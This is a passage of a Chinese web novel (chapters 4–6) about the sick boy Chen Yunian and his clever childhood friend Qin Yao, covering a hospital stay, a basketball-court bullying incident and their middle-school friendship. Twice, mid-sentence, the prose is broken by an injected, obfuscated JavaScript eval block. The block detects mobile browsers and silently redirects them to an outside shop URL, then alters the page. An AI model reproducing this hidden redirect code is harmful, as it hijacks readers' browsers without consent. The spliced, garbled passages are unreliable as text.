陈嘉弋今天已经听了八百遍的“杳杳”了,他觉得好烦呐,装作睡着了不理人。 陈寓年也没有在乎弟弟不理人,在黑漆漆的夜里发着呆,脑海里想到杳杳,就忍不住咧嘴笑。 陈嘉弋无声叹气,他觉得他哥不是身体不好,脑子好像也有点不好。 陈寓年每天都在想这个问题,直到某次回家,他听见有邻居阿姨坐在一起聊天—— “403的那个上门女婿小孙,都不像个男人,买菜做饭,把他老婆宠的嘞,男人就应该以事业为主嘛,怎么能这样。” 陈寓年的性子也不是很内敛,他好奇八卦地问阿姨:“什么是上门女婿啊。” 邻居阿姨也认识他,笑呵呵地解释:“就是住在老婆家。” 陈寓年瞳孔微微放大:“那这样两个人就可以每天见面吗?” “当然呀。”阿姨说:“但年年以后可不能做上门女婿,男孩子还是要有点骨气,多赚钱。” 陈寓年不懂:“那我可以多赚钱,然后也做上门女婿吗?” 几个阿姨哈哈大笑,只当他是小孩不懂事:“你啊,以后知道自己说过这个话会后悔的。” 陈寓年觉得自己不会后悔的,他礼貌说了再见,回到家还在琢磨,越琢磨,心跳鼓动得越来越厉害,这个想法也越来越坚定—— 他就要每天见到杳杳! 于是这天晚上,陈柏良与妻子回到家,只见陈寓年冲出来,两脚踩到沙发上,双手叉腰,满脸认真地大声宣布—— “爸爸妈妈!嘉嘉!” “我以后要做杳杳的上门女婿!” 4. 04 付韵秋和秦朗南常常觉得幸运而幸福。 他们的宝宝,性格好,很善良,又很可爱,简直是一个小天使。 两人很爱杳杳,会满足她所有的愿望,也希望能把所有的好都给女儿。 秦杳开始走竞赛这条路,而每一次,夫妻俩都会尽可能地推掉工作陪她。 但小姑娘的心理素质比他们都要好,两人紧张到手心出汗,杳杳还在企图萌化爸妈等会儿让她吃两支雪糕。 杳杳小小年纪,就被冠上了“天才”、“学霸”的名头,也受到了许多的关注。 有媒体在采访时故意引导:“是不是爸爸妈妈让你学习的?上那么多的辅导班,累不累呀?” 很多人巴不得她会是下一个“伤仲永”,却没想到小女孩面对镜头,没有胆怯,而是认真回答道:“是我自己想要学习的。” “叔叔,我的爸爸妈妈很爱我。” 付韵秋和秦朗南从不在乎外界嫉妒的,恶意的揣测,他们只在乎自己的女儿。 杳杳愿意一直走竞赛这条路,他们就会无条件地支持。得奖了,他们会为她骄傲,如果失败了,会抱抱她,告诉她,你永远是爸爸妈妈最棒的宝宝。 如果有一天,她不想竞赛了,想做其他的事,他们也永远是杳杳最坚固的后盾。 有这样一个好女儿,秦朗南也的确没什么烦恼,唯独—— 男人和镜头里的小孩儿大眼瞪小眼许久。 因为生病,陈寓年的脸透着病态的白,他最近瘦了许多,可那双乌黑的眸子眼巴巴的:“叔叔,你紧不紧张啊?我好紧张喔.....” 杳杳的比赛是封闭式录制,在今天就会结束。 而陈寓年已经缠着他打了一个小时的电话,这碎碎念就没停下来过。 秦朗南有点儿疑惑,这小孩儿平时这么话唠,杳杳居然没有嫌他烦吗? 两个小时后,杳杳终于出来了。 看她一脸淡定的模样,就知道是个好消息。 “杳杳!你太棒了!” 陈寓年的整张脸都凑到了镜头前,他真的太开心了,如果可以的话,他真的想给杳杳一个大拥抱! 杳杳带着点偶像包袱,虽然没有像他这样傻乎乎的,可唇角还是翘了起来。 她问:“你的身体怎么样了?” 陈寓年笑得很开心:“好多啦,再过不久就能出院了,杳杳你什么时候回来呀,我好想你,我每天都有和叔叔打电话,对了,你一个人会不会害怕?有没有人欺负你?你吃的好不好,这次难不难啊.....” 男孩儿的碎碎念惹来了杳杳带教老师的注意,他疑惑地问秦朗南:“杳杳还有弟弟?” 秦朗南有点儿无奈:“不是我儿子。” 他简单解释了一句,带教老师哈哈大笑:“青梅竹马好啊,他看上去也很喜欢杳杳。” 秦朗南哼了声:“我女儿当然招人喜欢。” 杳杳没听见爸爸和老师的谈话,她和陈寓年聊了好久,才告诉他一个坏消息:“老师说安排了庆功宴,我要两天后才能回来。” 陈寓年明显呆住了,他张了张唇,过了好半晌,才带着些祈求的语气说:“可是我好想你啊杳杳....你可不可以早点回来?” 杳杳认真思考着这个问题,正想开口回答,手机电量耗尽忽然黑屏了。 秦朗南正和她的带教老师聊,对方告诉他,训练营里有个小男生想和杳杳做朋友,但被拒绝了。 他心生警惕,问杳杳这件事,小姑娘很诚实地将原因告诉了他。 “他的爸爸妈妈说过我装,而且他们看我的时候,我觉得很讨厌。” 杳杳这样聪明优秀,实在太过出众,有很多家长关注着。她是年龄小,但她也很敏锐,很懂得分辨他人的善与恶。 就比如那个男孩儿的父母,明明一开始看向她的目光是充满了鄙夷不屑,还有嫉妒的,甚至觉得,秦朗南夫妇爱孩子的表现是“人设”,亲口说过她这一家子很装。 不管是什么原因让对方忽然想和她做朋友,她都觉得讨厌。 秦朗南的脸色严肃了不少,他蹲下身对杳杳说:“你做的很对,不喜欢的人,我们就不要和他们有接触。” 杳杳嗯了一声,这才问:“爸爸,我们能早点回去吗?” 秦朗南按了下已经自动关机的手机,了解女儿心里想的:“想年年了?” 杳杳点头:“他生病了,我想去看他。” 秦朗南酸溜溜地逗她:“这么关心他啊,要是爸爸生病了,你也会着急吗?” “当然呀。”杳杳满脸认真地看着他:“就是外婆家的小狗生病了我也会着急的。” “.......” 秦朗南无奈失笑,却也答应了女儿。 在病房里的陈寓年并不知道杳杳说的话,他失落地垂下了脑袋,蒋梦溪思考了许久,还是决定和他谈谈心。 “年年,你不可以总是黏着杳杳。” 陈寓年大脑“嗡”的一声,讷讷地问:“为什么?” “杳杳有自己的事情要做呀,要是每次你生病了,都想她来找你,这其实.....”她犹豫了一下,还是狠狠心,决定将这个词说出来:“是非常自私的表现。” 陈寓年张了张唇,他眼眶有点红,想为自己辩解,到最后,却只是茫然的,失落地喃喃:“我自私吗....” 蒋梦溪心疼地摸了摸他的脑袋,她只是担心,自己的孩子会给别人带来困扰,她担心年年会一直依赖杳杳,而杳杳这样优秀的孩子,如果遇到了更好的对象,那年年.... 因为妈妈的话,陈寓年陷入了低迷的难过。 他开始反反复复地想,自己是不是真的很黏人,很自私。 那天晚上,他再次发起了高烧。 整个人迷迷糊糊的,神智不清地喃喃着什么,蒋梦溪握住他的手,凑近才听清—— “妈妈,我是不是快死了?” 那一刻,蒋梦溪再也克制不住地流下了眼泪。 陈柏良将妻子拥进怀里,望向旁边那张,空空的病床。 前几天,住在旁边的那个小孩儿离世了。 年年和那个男孩差不多的年纪,两人还一起看过动画片。 在对方父母痛苦时,陈寓年上前拥抱了他们:“叔叔阿姨,看到你们哭,他也会难过的。” 陈寓年是个药罐子,从小出入医院,所以他其实,很早就明白“死亡”的意义。 但他真的很懂事,看到妈妈的眼泪,看到父亲疲惫的倦容,触及弟弟担心的目光,他都会尽可能佯装成乐观的,阳光的模样。 他不想让他们担心—— 直到这一刻,病魔寸寸打碎他假装的坚强。 他也很害怕,他怕见不到爸爸妈妈,弟弟,还有杳杳。 他全身都很疼,像是在被灼烧,可是脑子里,却反反复复地浮现蒋梦溪说过的话—— 他不能这么自私。 他好痛,他想哭,想让妈妈多抱抱他。 可那样会让妈妈担心,他不能自私。 他想爸爸陪他。 可爸爸要工作,他不能自私。 他想嘉嘉和他一起玩游戏,可嘉嘉爱的是看书,嘉嘉已经为了他受过许多委屈了。 他不能自私。 他还想杳杳..... 他很久没见过杳杳了,他想见她,可是....可是....她刚刚赢了比赛,现在是最开心的时候。 他不该自私地总是找杳杳。 可是,他真的好难受,他很想杳杳.... 这个晚上,他整个人陷在梦魇中,低迷地说着梦话,也会迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882864|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊地想,是不是他真的像邻床的那个男孩儿一样,离开了,其他人,也就真的解放了.... 这场高烧,让他昏睡了很久,出了一身热汗,再次醒来,他只觉得身上黏腻不舒服。 茫然地看着天花板发了一会儿呆,他才迟钝地意识到不对—— 他的两只手,被人一左一右紧紧压着。 女孩子就这么牵着他的手睡着了,她的脸颊看上去软软的,陈寓年呆呆地看着忽然出现在这里的杳杳,恍惚地觉得自己是不是在做梦。 另一侧,贴着他的人是陈嘉弋。 陈寓年抽出手的那一刻,陈嘉弋懵懵地醒了过来,还未开口一句,对方让他别说话。 陈寓年也不管陈嘉弋,就这么专注看着杳杳。 直到几个大人推门进来,虽然已经尽可能地放轻动静了,杳杳还是被吵醒。 她软软的脸颊上还有一块可爱的红印,伸手揉了揉眼睛,迷迷糊糊地说:“晚上好,陈年年。” 但她没有得到回应,倒是脸颊,被人轻轻碰了下。 秦杳对上陈寓年乌黑的眼眸,只见他鼻尖有点红,收回手,就这么直勾勾地看着她问:“杳杳,你怎么会来的?” 她有点不解:“你生病了呀。” 陈寓年忍着眼泪:“你不讨厌我,不烦我吗?” 蒋梦溪和付韵秋夫妇已经聊过了这件事,闻言,几个大人都安静了下来。 倒是杳杳,她伸出手摸了摸他的额头,关心地问:“陈年年,你是不是还没退烧?” “......” 陈寓年到底还是有点脆弱,憋了半晌,终于忍不住,猛地抱住杳杳哭了出来:“我不敢找你,还以为你会讨厌我的。” “杳杳.....” 他这动静,让病房里的人都不知所措。 杳杳虽然不知道他为什么忽然哭了,被抱得也有点喘不过气,但她还是伸出手拍了拍他的背:“陈年年,我不讨厌你。” “生病不是你的错。” “我们可是好朋友啊,你不敢找我,那就我来找你啦。” 杳杳的话,让蒋梦溪先流下了眼泪,她一次又一次地,对付韵秋夫妇道谢。 秦杳的到来,让陈寓年开心了不少。 只是他变得愈来愈黏人,每天都想见她。 虽然杳杳陪他的时候,总是在做题,在学习,他也不觉得无聊,就这么看着她,或者牵牵她的手。 出院后,陈寓年开始努力锻炼身体,他想好起来,他不想生病,他不想让别人担心。 这一年过得很快。 新年时,两家人一起吃了顿饭,几个小孩儿都收到了红包。 “希望你们啊,平平安安地长大就好了。” 吃完饭,陈寓年被春晚逗得发笑,直到—— 杳杳怀里抱着个抱枕,但显然困极了,迷迷糊糊地靠在了他的肩上。 不远处的几位大人还在聊天,陈嘉弋在看书,陈寓年安静地看着杳杳。 电视里,众人开始倒计时迎接即将到来的新年—— “三、二、一!新年快乐!” 杳杳被声音吵醒,她懵懵地揉了揉眼睛,触上陈寓年带笑黑亮的眼眸,他用着仅她能听见的声音说:“新年快乐,杳杳。” 她笑了笑:“新年快乐,陈年年。” “说什么悄悄话呢?”陈柏良唤几个孩子,招呼他们过去看烟花。 陈寓年望着黑夜中绚烂的烟火,又悄悄地,看向身边的女孩子。 他今年的新年愿望有些多。 他希望自己的身体能快快好起来,希望所有人身体健康。 还有.... 他希望,自己永远是杳杳的朋友。 他想每年都和杳杳一起看烟花,他想一直,一直陪伴在她身边。 5. 05 “叔叔早上好啊!” 秦朗南看着面前容貌出挑,笑得阳光的男生,有一瞬间的恍惚。 仿佛昨天的陈寓年,还是那个病恹恹的爱哭鬼,会可怜兮兮地捧着中药喝,可一转眼,几个孩子都到了初二,而男孩儿都快要和他一样高了。 陈寓年直勾勾地望向他身后,不由带了些讨好的语气:“她还没起来吗?” 杳杳已经两周没有理他了。 秦朗南当然察觉到了两个小孩儿之间的不对,不过他只觉得幸灾乐祸,正想说点什么,穿着校服的少女匆匆忙忙从卧室走了出来,许是没睡醒,声音还透着倦怠:“爸爸早。” 她穿鞋的时候,秦朗南想帮女儿拿书包,却被陈寓年狗腿地先一步拎了过去。 他瞪了男孩儿一眼,和杳杳说话时,语气又不自觉地温柔:“学习这么辛苦,为什么不让爸爸送你。” 杳杳打了个哈欠,略带敷衍地回答她的老父亲:“骑自行车锻炼身体嘛。” 秦朗南哼了一声,颇有点吃醋的意思:“都是年年载你。” 秦杳素净的小脸上毫无心虚,还颇为理直气壮:“就是为了让陈年年锻炼身体。” 陈寓年无条件选择附和杳杳:“叔叔,我骑车很稳的。” 自行车能有我的轿车稳吗? 老父亲心里酸酸的,杳杳赶着上学,含糊地说了一声爸爸再见。 楼梯的拐弯处有一扇窗口,小学时,他们只能伸手、仰头去触摸金灿灿的,遥远的晨曦,却也在一朝一夕之中,期盼着能够快点长高。 而如今,出挑的女孩儿一侧眼,就能瞧见外头的春光—— 再回头,她撞上了男生直勾勾的目光。 陈寓年的一颗心已经惴惴不安两周了,见杳杳终于愿意施舍他一眼,尾音不自觉地勾着点撒娇的意思:“杳杳,我好像又生病了。” 他惯会装可怜,伸手扯住女孩子的衣摆,那双黑亮的眸子一瞬不瞬地盯着她,声音也放轻:“你不理我,我难受。” “.....” 女生那冷淡的脸上终于浮现一丝无语的情绪,她唇角一动,却没有让他松手,而是甩出几个字:“矫情鬼。” 见她愿意和自己说话了,陈寓年笑意舒展,他也惯会得寸进尺,脑袋微微凑到她面前,带着点讨好再一次道歉:“我真的错了,你别生我气了,今天我载你,好不好?” 杳杳其实挺懒的,一学期里,自己骑自行车的次数大概不超过两只手,大部分时候都是让陈寓年载她,美名其曰让他锻炼身体。 不过这两人也是一个愿打一个愿挨,只是前段时间,她拔了智齿,陈寓年双手托脸盯着她许久,觉得她肿的好可爱,就笑着冒出一句:“杳杳,你好像那个蜜蜂小狗。” 秦杳不知道什么蜜蜂小狗,去搜了以后,没有给他一拳,而是把他赶出了她家,连着陈嘉弋也顺便轰走。 陈寓年后知后觉地意识到杳杳生气了,他解释:“杳杳,我没骂你是狗,我是觉得你可爱。” “对不起,我才是小狗。” “杳杳,杳杳,杳杳,杳杳.....” 秦杳不想理他的原因有很多很多,觉得疼是其中一,还有就是,她这姑娘从小就有偶像包袱,脸颊肿的好丑。 好烦! 陈寓年好烦! 秦杳不想理他,连他的自行车后座都不想坐了。 轻的不只是后座,陈寓年觉得自己的心里也空落落的。 而现在,看到她终于肯理自己了,陈寓年的心一下就落了下来。 男生的五官轮廓在不知何时少了幼时的稚嫩懵懂,优越的眉眼渐渐沉出几分深邃的帅气,笑起来时满是明朗的少年气。 秦杳看着他这张帅脸就消气了,却也觉得不解,他为什么总是一副没心没肺,乐观阳光的模样。 她还摆着点架子,坐上了他的后座,才慢吞吞地开口问:“陈嘉弋呢?” “他不想等我们,自己去了。” “喔。” 陈寓年的自行车骑得非常稳,秦杳抱着他的腰,早春的风冷得还有点刮脸,她轻轻蹭了蹭男生清瘦的后背,能挡风,又能浅浅眯一会儿。 却没注意到,陈寓年的身体条件反射地僵硬了几秒。 她抱得太紧了,令他不自觉地蜷紧手,想说的话也戛然而止,几乎是出于本能的,腹部一紧,似乎想要表现什么—— 之前因为生病,他很瘦。 而上了初中以后,他似乎有了容貌以及身材焦虑,也越来越在乎自己的形象。 病弱的身体不容许他剧烈运动,却在这么多年循序渐进地锻炼下,也有了些许成效,不再是个竹竿子了。 杳杳会不会觉得他还是太瘦了? 他常常照镜子观察自己,腹部不再是软的,绷一绷,还是隐隐约约四舍五入能有腹肌线条的,但应该也能摸出来?杳杳摸出来了吗?怎么没反应啊....难道还不够? 该不会在心里嫌弃他吧。 ....可恶,绷得好累。 说句话啊杳杳,要不悄悄松口气吧..... 秦杳迷迷糊糊的,压根不知道他在脑补什么,只是困倦之际,嗅到了他身上干净清冽的皂香,还挺好闻的..... 她闭着眼,无意识地又蹭了蹭男生的背脊。 校门口有高年级的在检查,秦杳从车上下来,注意到了他摸腹部的动作。 她疑惑地看了过去,漂亮的杏眼里满是不解:“你肚子疼啊?” “......” 陈寓年要面子地悄悄松了一口气,他摇头说没什么,岔开话题:“放学来陪我打篮球吗?” 他一个人去打篮球时,杳杳往往会在教室里写作业,等写完了,再去篮球场喊他一起回家。 只是这段时间她生气,没有理他,而他也无心打篮球。 秦杳答应了,只不过,她好奇地问:“如果我一直不想理你怎么办?” 陈寓年身上的校服并没有规规矩矩地将拉链拉至最上方,他笑了笑,理所应当地说:“那我就求你啊,求到你愿意和我说话为止,就像这样——” 男生那张帅气的脸忽然凑近,一双明亮的黑眸笑得弯弯,用着撒娇的语气,轻轻喊着她的名字:“杳杳。” “最可爱最聪明,什么都会的天才杳杳。” “全天下最厉害的杳杳大王。” “原谅我。” “理理我。” “求求你了,好不好?” 秦杳面无表情地移开视线,还顺便往旁边挪了两步拉开距离。 可他黏人时也真是要命,她终是装不下去了,瞪向他,明明脸色依旧淡淡的,可圆润的杏眼里分明满是笑意:“你好烦啊。” 陈寓年得寸进尺时,仿佛身后有条尾巴,摇得像螺旋似的:“杳杳,我看到你笑了——” “我看你们是想扣分!!都几点了!还磨磨蹭蹭的!” 随着熟悉的怒吼声,两人瞧见了教导主任的身影。 旁边的其他学生都加快脚步往里头走,陈寓年吊儿郎当的身体终于直了起来,就要擦肩而过之际,他被教导主任给逮住了—— “校牌呢?哪个班的?校服怎么穿成这样?” 秦杳给了他一个自求多福的眼神,走远了几步,身后忽然有人喊她。 严芯气喘吁吁地跑过来勾住她的手,“陈寓年怎么被老张逮住了?” “没戴校牌。” 说着,秦杳回头看了过去,刚好触上他的目光。 他示意她放心走,下一 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她大脑清醒了不少,接过玻璃杯捂着肚子,陈寓年站起身,顺手摸了摸她的额头。 “你不舒服,我吵醒你做什么?” 他还去买了暖宝宝,只是毕竟不如小时候,男女有别,他总不能什么都不顾地掀开她的校服把暖宝宝贴上去,可又担心她,便想了这么一个笨办法,想让她舒服一点。 “好像有点热。” 他皱着眉,还微微弯着腰,保持着视线与她持平的距离。 秦杳盯着他凑近的脸,忽然伸出手,轻轻戳了下他的脸颊—— 陈寓年被她碰到心脏加速,关心的话硬生生卡在嘴边,偏偏秦杳对自己这动作带来的影响毫不知情,只是眨了眨眼,蹦出一句:“陈年年,你好像比以前更好看了。” 陈寓年怀疑自己也发烧了,他结结巴巴:“哦...哦...” 但秦杳仿佛只是随口一说的而已,她揉了揉眼睛,这才注意到桌上放了他去小卖铺买的红糖,热牛奶,还有三明治。 “你吃午饭了吗?” “.....” “陈寓年。” 他回过神,心不在焉地点了点头。 秦杳吃着三明治,他就双手托脸地看她,慢慢地,他想到她拔完牙的那段时间,吃东西特别特别温吞,每天脸色都是沉沉的。 可她本就是偏甜偏乖巧的长相,明明是不高兴,却像个可怜的受气包,他觉得可爱,却不敢笑出来。 直到现在,他忍不住弯了弯唇,秦杳觉得莫名其妙,狐疑地看了过来。 陈寓年当然不可能告诉她惹人生气,迅速转移话题,念念叨叨地和她讲着琐碎小事儿。 严芯回来的时候,他刚走。 看到女生桌上的牛奶,她就知道为杳杳带的热可可要自己解决了。 “但你们的关系真的好好哦,你来例假他都知道。” 严芯咬着吸管说。 秦杳不解地看了过去。 青春期,大家对男孩儿女孩儿之间的相处都有了朦胧而暧昧的概念。 秦杳听完,只是眨了眨眼,一本正经地给她科普着知识:“这不是什么害羞的事情呀,他知道也没什么的,月经是女性....” “停停停!”严芯实在受不了这个满脑子都是知识的学霸了,她觉得杳杳根本没懂她在说什么,触上女孩子疑惑的杏眼,她没忍住,伸出爪子捏了捏学霸软软的脸,恨铁不成钢地说:“你是傻子。” 杳杳皱了皱眉:“我可是年级第一哎,哪里傻了....” 严芯:“.....” 6. 06 最后一节课下课,秦杳原本打算如往常一样写作业等陈寓年,才刚写完一题,她的余光笼下一片阴影,一侧眼,男生正歪头看她,眼底还漾着浅浅的笑意。 她迟钝地愣了两秒:“你没去打篮球吗?” 陈寓年的书包上挂着一只小狗挂件,是杳杳送给他的,他微微弯腰,随着动作,绒毛小狗笨笨地晃了晃。 “你身体不舒服,我们早点回去。” 秦杳张了张嘴,想说没关系的,但陈寓年已经着手帮她整理作业。 她看着男生的侧脸,有一瞬间的走神。 就算身体不好,他也从来不是阴郁而孤僻的性子。 他很阳光,总是笑着的,无论是谁喊他,和他说话,他都像没什么心眼,又乐颠颠的小狗,仿佛一招手就能让他听话。 但即使是这样,他的朋友其实不多,或者严格来说,他的朋友只有杳杳和陈嘉弋。 他是初一的时候开始接触篮球的,陈寓年有主动而友好地想加入其他男生,但却似乎,被排挤了。 秦杳有次去班主任那帮忙,快上课了才回去,匆匆穿过走廊,她随意望去,只见不远处刚好有班级上体育课,而她也一眼瞧见,陈寓年一个人在打篮球。 其他男生聚在一起,只有他独自投篮,独自捡球,连影子都是孤零零的。 秦杳当时也不知怎么了,觉得不太舒服。 放学后她提起了这件事,陈寓年只是愣了下,笑着说:“没什么啊,我就喜欢一个人。” 秦杳多了解他啊,他根本不喜欢一个人待着,那年春游他独自在家,都难过到偷偷哭了。 “那以后我陪你打篮球。” 陈寓年当时怔了片刻,明明已经狂喜到唇角轻翘了,却还在装淡定地说:“好啊,那我教你投篮。” 他没有问杳杳为什么要陪她,也许她猜到了但却没有问。 陈寓年只是觉得,无论杳杳要做什么,他都会无条件听话。 不过,他自己也是个菜鸡,投篮技术不忍直视。秦杳没有嘲笑他,她抱着篮球,瞄准—— “啪嗒”一声,篮球连球框都没碰到。 陈寓年当时忍不住笑出来了,秦杳面无表情地看了过去,两人相视许久,都不由笑了起来。 后来陈寓年不知看了什么短视频,还提议说:“要不要坐我肩上?” 杳杳觉得这样好傻:“你怎么不让我坐你头上。” 陈寓年眨巴着乌黑的眼安静看着她,女生忍无可忍地推开他的脑袋:“想得美!” “....” 从那之后,只要没有老师拖堂,两人就会一起去篮球场玩会儿。 陈嘉弋天生不爱各种运动,没有和他们一起去,久而久之,陈寓年的投篮技术好了不少,秦杳也开始犯懒不想动,干脆写作业陪他。 但初一下学期的时候,陈寓年的身边忽然多了一个高年级的男生。 对方主动找过来的,能有一个伙伴,陈寓年当然开心,只是很快,他渐渐察觉到不对—— 在打篮球的过程里,对方话语间都在向他打听秦杳的事情,而动作却很敷衍。 等杳杳过来找他了,这个学长会一次又一次地截球灌篮,最后站在他身边,自来熟地也喊她杳杳。 陈寓年有点不舒服,可他又拧巴地自我检讨,是不是他太敏感,太小气了.... 秦杳看了对方一眼,她向来是个有点傲气和包袱的姑娘,也只是疏离地点点头,随后对陈寓年说回家。 男生瞬间笑了,拎起书包跟在了她的身后。 那个学长依旧来找他打篮球,只是逐渐的,他似乎在针对陈寓年,尤其是秦杳出现后。 他会抢陈寓年的篮球,会假装不经意地撞他,随后一个利落地投篮—— 男生看了眼不远处的秦杳,这才故作友善地拍了拍陈寓年的肩膀:“对不起啊,我不是故意的,你应该不会生气吧?” 陈寓年也意识到了自己被针对,他拧了拧眉,“抱歉学长,我不打了。” 看着他走向女生的背影,学长脸上的伪善和睦终于消失得一干净,不屑又轻蔑地突出几个字:“废物,装什么装。” 秦杳离得远,没听清他们之间在聊什么,只是察觉到他的脸色不太好,问他怎么了。 陈寓年不想让她担心,装作无事地笑了笑:“没什么,打篮球碰到很正常。” 秦杳很敏锐,也很了解他,盯着他心里发虚,又撒娇又祈求的:“真的没什么。” 他还试图牵牵她的手,秦杳嫌弃地甩了甩手:“出汗了,走开。” 陈寓年悄悄松了一口气,在那之后,他也的确没有和学长一起玩过篮球。 只是在某天,他正准备投篮,那学长又过来了,与平日不同的是,他身后还有三个人。 对方很友好地邀请他一起打篮球,陈寓年这人太过单纯,没有察觉到任何的恶意,便答应了—— 他第二次,被他们撞得踉跄。 陈寓年那惯来笑盈盈的脸色也冷了下去,学长瞧见了不远处秦杳的身影,快步追上要离开的男生,依旧笑着,却一字一句地在激怒挑衅他:“学弟,人和打篮球是一样的,知道自己不行、没资格,就老老实实地离开,你总不能仗着自己身体差,一直缠着别人吧,就把秦杳让给学长——” 陈寓年甩开了他的手,只见对方踉跄着往后一退,目光却直勾勾地看着他身后。 他心里的怒火怎么也无法抑制,也意识到,对方是冲着杳杳来的。 因为杳杳,才选择接近他。 ——不好意思啊,万一你在打篮球的时候晕倒了,我们该怎么办? ——这样一个病秧子,傻子才和他一起打篮球。 ——难道我们在球场上还要照顾这个废物吗? 班上同学拒绝他的话,以及面前学长的嘲讽都在将他灼烧。 陈寓年并不是因为自己被当成工具人而觉得愤怒,被偏见对待,是他早就习惯的事情,他也在尽可能地让自己不在乎他们的看法,尽可能地让自己不给别人带来麻烦—— 可他们,怎么能接近,想要觊觎杳杳。 他们哪来的资格。 让? 杳杳从来不是一件物品—— “陈寓年!” 秦杳的声音唤回了他的理智。 他看着出现在身边的女生,心里顿时冒起了无法抑制的酸气,有点委屈,也害怕她会误解,是他推了这个学长—— “学妹,你别怪他——” “你干什么推他!” 秦杳护短的质问打断了对方的话,几个学长有点懵了,陈寓年心里的情绪也梗住,盯着挡在他面前的女孩子,有一瞬间的愣神。 “没你这样睁眼说瞎话的,明明是他推的我。” 杳杳都快气死了,一改往日高冷的模样,和对方你来我往争辩着。 而陈寓年,就盯着她因为怒气升温泛红的脸,委屈的心渐渐平静下来—— 就像是终于等来有人保护他。 对面几个学长想要动手,陈寓年回过神挡在秦杳面前,对方其实压根没把他放在眼里,一个病秧子么,能有什么用啊? 却没想到秦杳指向了监控。 ... 直至对方很不甘心地离开,她就这么面无表情地看着他,忽然伸手—— 陈寓年脑子有点懵,却随着身体本能潜意识地弯腰靠近她。 然后。 被弹了个脑崩子。 “你是笨蛋吗!” 秦杳大部分时候都是懒懒傲娇,话少冷脸模样,最多最多就是用眼神瞪他一眼。 但那个傍晚,在空无一人的篮球场上,她生气地骂了他好一通:“我之前还以为他是你朋友,你都没察觉到他对你有恶意吗?你就不能凶一点还回去吗?” 陈寓年在顶嘴和解释之间,选择乖乖听训。 到最后,秦杳骂累了,语气也软了下去:“有没有哪里受伤?” 被她骂的时候,陈寓年不觉得委屈,可她这样一问,他竟有点鼻酸。 他摇了摇头,声音不自觉地带着些讨好:“没有,杳杳,别生我气了。” 秦杳甩开他的手,他又黏糊糊地抓她手腕,抢在她开口之前轻声地说:“我真的错了。” 秦杳彻底没辙了,她冷着脸,语气还硬邦邦的:“笨死了。” 陈寓年笑着嗯了声,可学长的话却始终徘徊在脑海中,令他心不在焉的。 别人怎么想的,他可以不在乎,但杳杳呢?她会不会也觉得,他很烦,很缠人? 她会不会觉得他好麻烦,好笨,好没用。 可如果让他不跟着她—— 这个念头只是刚冒出来,他心里涩涩的,竟有些喘不过气。 如今的他们,已经不是儿童时,什么都不懂的小孩儿了。 男生女生之间,也应该有了适当保持的距离,他们不应该肆无忌惮地牵手,不能够在校园里旁若无人地并肩走在一起,更不能拥抱.... 陈寓年非常清楚,他没想过依赖别人,见到别人他不会委屈,除了杳杳,他也不会和别人撒娇,那她呢? 她会不会有朝一日,不想让他跟在身边了? 他胡思乱想的时候,没有注意到自己的表情很低落,连秦杳看了他好几眼都没发现。 “陈寓年。” “嗯?” 他黑亮干净的眼眸茫然看了过去,只见女孩子轻轻动了下手,视线望下,他的手依旧隔着校服,紧紧牵着她的手腕。 “你刚打过篮球,都没洗手,就牵我。” 杳杳冷着脸指责,可那漂亮的杏眼里分明写着我都给你个台阶下了,你不许再因为别人难过委屈耷拉着脑袋闷闷不乐了,快点开心起来笑一笑否则我就要!生!气!了! 陈寓年总觉得杳杳有一种魔力,能够轻轻松松化解他心里的阴霾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882866|191965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他笑着说:“嗯,我帮你洗。” 杳杳这才轻哼了声,却也始终没有甩开他的手。 陈寓年看着女孩子的侧脸,心里忽然释怀了。 他想,有没有其他朋友,都没关系,反正,他已经有了全天下最好的杳杳。 至于她会不会嫌他烦.....那就以后再说。 只要她不说,他就要缠着她,跟着她,听她的话,就算杳杳大王想把他的头拧下来当篮球玩也没关系。 他终于哄好自己,牵着她的手也渐渐收紧了力道,脚步更是轻快了不少,笑得帅气明朗的脸就这么凑到她面前,说了句杳杳你真好。 .... 在那之后,秦杳总会陪他去打篮球。 听她提起这件事,陈寓年想到,后来杳杳还是气不过,偷偷找到了学长的自行车,把对方的轮胎给戳破了。 他们两人就躲在暗处,看到对方气急无语的模样,心情才舒坦了不少。 “也不是非要去。” 他回答杳杳,篮球没那么重要,重要的是她不舒服。 秦杳没有再强求,晚上,她爸妈还在加班没回来,是去陈寓年家吃的饭。 平常三个人吃完饭都会一起写作业,但今天杳杳先回去了。 快九点,蒋梦溪接到付韵秋的电话,说是杳杳没有接电话,她有点担心。 陈寓年顿时跳了起来,他丢下一句我去看看就跑上楼了,按了门铃也没人开门。 但幸好两家很熟,他带了一把备用钥匙,实在是担心她,陈寓年推门而入,一眼见到了蜷缩着睡在沙发上的女孩儿。 他快步走了过去,单膝着地,伸手轻轻碰了碰她的额头,幸好没有发烧。 陈寓年找了一块毯子小心翼翼地盖在她身上,秦杳迷迷糊糊地睁开了眼,见到他,困倦呢喃:“你怎么来了?” 他的声音潜意识轻了许多:“阿姨说要很晚回来,给你打电话没人接,担心你。” 她呆呆地闭了闭眼,过了好半晌才温温吞吞地说:“没听见.....” “有没有不舒服?” 陈寓年有看过新闻,有的女孩子生理期痛到昏厥住院,所以他真的很担心。 秦杳闭着眼,声音含糊地突出一个字:“困。” 